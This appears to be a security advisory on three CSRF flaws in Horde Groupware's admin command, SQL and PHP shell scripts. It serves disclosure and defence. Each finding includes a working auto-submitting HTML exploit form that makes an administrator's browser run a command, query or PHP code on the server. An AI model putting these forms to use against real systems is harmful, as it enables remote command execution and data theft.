High-Tech Bridge Security Research Lab discovered three Cross-Site Request Forgery (CSRF) vulnerabilities in a popular collaboration suite Horde Groupware, used by a variety of companies around the world. These vulnerabilities are very dangerous, since they can be used in targeted attacks against corporate clients. An attacker might be able to gain unauthorized access to information, stored in database, execute arbitrary commands on the server, compromise the entire application and perform attacks against application users and companyβs infrastructure.
1.1 The vulnerability exists due to failure in the β/admin/cmdshell.phpβ script to properly verify the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary system commands on the server.
CSRF exploit below sends HTTP POST request to vulnerable script and instructs it to display output of β/bin/lsβ command. As a result, you will see contents of β/admin/β directory:
<form action=βhttp://[host]/admin/cmdshell.phpβ method=βpostβ name=βmainβ>
<input type=βhiddenβ name=βcmdβ value=βlsβ>
<input value=βsubmitβ id=βbtnβ type=βsubmitβ />
</form>
<script>
document.getElementById(βbtnβ).click();
</script>
1.2 The vulnerability exists due to failure in the β/admin/sqlshell.phpβ script to properly verify the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary SQL queries with applicationβs database.
The exploit code below executes βSELECT version()β query and displays version of current MySQL server:
<form action=βhttp://[host]/admin/sqlshell.phpβ method=βpostβ name=βmainβ>
<input type=βhiddenβ name=βsqlβ value=βSELECT version()β>
<input value=βsubmitβ id=βbtnβ type=βsubmitβ />
</form>
<script>
document.getElementById(βbtnβ).click();
</script>
1.3 The vulnerability exists due to failure in the β/admin/phpshell.phpβ script to properly verify the source of HTTP request. A remote attacker can trick a logged-in administrator to visit a malicious page with CSRF exploit and execute arbitrary php code on the server.
The exploit code below executes the βphpinfo()β function and displays its output:
<form action=βhttp://[host]/admin/phpshell.phpβ method=βpostβ name=βmainβ>
<input type=βhiddenβ name=βappβ value=βhordeβ>
<input type=βhiddenβ name=βphpβ value=βphpinfo();β>
<input value=βsubmitβ id=βbtnβ type=βsubmitβ />
</form>
<script>
document.getElementById(βbtnβ).click();
</script>